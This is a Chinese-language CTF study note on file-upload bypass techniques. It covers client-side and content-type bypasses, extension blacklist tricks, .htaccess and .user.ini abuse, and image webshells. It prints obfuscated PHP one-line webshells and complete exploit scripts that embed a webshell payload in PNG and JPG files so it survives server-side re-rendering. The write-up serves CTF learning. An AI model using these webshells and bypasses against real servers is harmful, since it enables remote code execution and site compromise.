文件上传

前言

二刷文件上传,第一次是基于upload-labs,这次是CTFshow上的题,对旧的东西进行整理,同时get 一些新的知识。

前端绕过

前端JS代码对上传文件名进行了检查,这个时候两种方式

  • 禁用JS
  • 先改成支持的后缀,然后bp抓包修改

注意: 前端检查是不存在客户端到服务器请求的,抓包抓不到。

后端绕过

文件类型

最常见的就是 bp 抓包 改 content-type 请求头 ,改为 image/png 或 image/jpeg 一般后台可能会对这个进行检测

文件内容

有时候会对文件内容进行检测,有一些方式绕:

加文件头,比如GIF89a

使用PHP短标签,前提是开启了这个配置 <? echo '123';?> 这里是当php被限制时

<?=表达式?> 等效于 <?php echo 表达式?>

<script language="php">echo '123'; </script> 利用 script标签,这里不需要进行参数限制,但是仅限于7.0以下

<% echo '123';%> 需要 前提是开启配置参数asp_tags=on,7.0以下可用。


免杀,网上也有很多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

黑名单

黑名单,顾名思义,就是不允许你上传的后缀名,绕过方法

  • 大小写绕过 .Php
  • 空格绕过 .php%20
  • 双写绕过 .phphpp
  • 截断绕过 .php%00

针对于windows服务器的一些方式:

  • 点绕过 .php.
  • ::$DATA 绕过 .php::$DATA
  • 点空格点绕过 .php.%20.

以上这些都是基于后端检查代码不够完善,搞个正则匹配就没这么多事,一般这些方法可能都用不上去。


当然,对于黑名单,还有其他下手的方式,不针对后缀名的绕过,而是直接找另一个后缀名

  • 上传htaccess文件 (Apache服务器下)
  • 上传 .user.ini文件 (linux和Apache都行)
  • 上传其他可以支持解析的后缀 (如 php2 ,php3,php5,phtml)

利用htaccess文件

利用 htaccess文件来实现解析效果:

AddType application/x-httpd-php .png 可以把 .png 格式转换为php格式

或者:

1
2
3
<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

当然这里的后缀名是可以自己定义的。

利用htaccess文件来实现自动包含:

php_value auto_prepend_file D:\phpStudy\PHPTutorial\WWW\flag.php 这里包含的文件路径可以改。

利用.user.ini文件

利用.user.ini来实现自动包含:

auto_append_file='/var/www/html/upload/2.jpg' 当然这里包含的路径可以改。 不过 .user.ini 有个局限,只对和它在一个目录下的文件有效,所以想利用它,必须得同一目录下 还得有个 php文件。

httpd.conf解析

httpd.conf文件里面有一项是记录可以解析为php的,有些时候支持比如说 php5, phtml等。

白名单

白名单过滤很死,要么配合解析漏洞,要么配合图片马

  • 图片马
  • 解析漏洞

图片马

这个需要配合包含,否则利用不了,传上去就是个废马。 windows下可以用 copy命令生成图片马

延伸~~~~ 二次渲染图片马

很多时候我们图片马可以上传成功,并且也有包含的地方,but 后台对你的图片马进行了改写,这个时候你精心构造的一句话就无了。

这里有具体的应对方式,核心思想就是利用 二次渲染时 未被改写的地方就是我们考虑写入马的地方。

如果是 gif 形式的图片马,直接download下来 然后和原图对比,找到没被修改的地方,在那个地方构造图片马,然后上传。

png和jpg的话就麻烦的多,参考网上大神的exp :

png的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>

关于JPG的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
<?php
$miniPayload = "<?php system('tac f*');?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
用法 php exp.php a.png

解析漏洞

根据具体的版本来找到解析漏洞,比如apache、nginx、iis等。有些版本没有。

绕过WAF

之前西湖论剑有一道的第一步上传就是需要绕过WAF。

  • 回车换行
  • f+orm
  • 文件名去掉引号
  • 文件名前面加[0x09] 绕过
  • ……..

网上搜索可以搜索到很多

小结

文件上传很容易getshell,危害很大。找到上传点,多尝试方法,善用搜索引擎。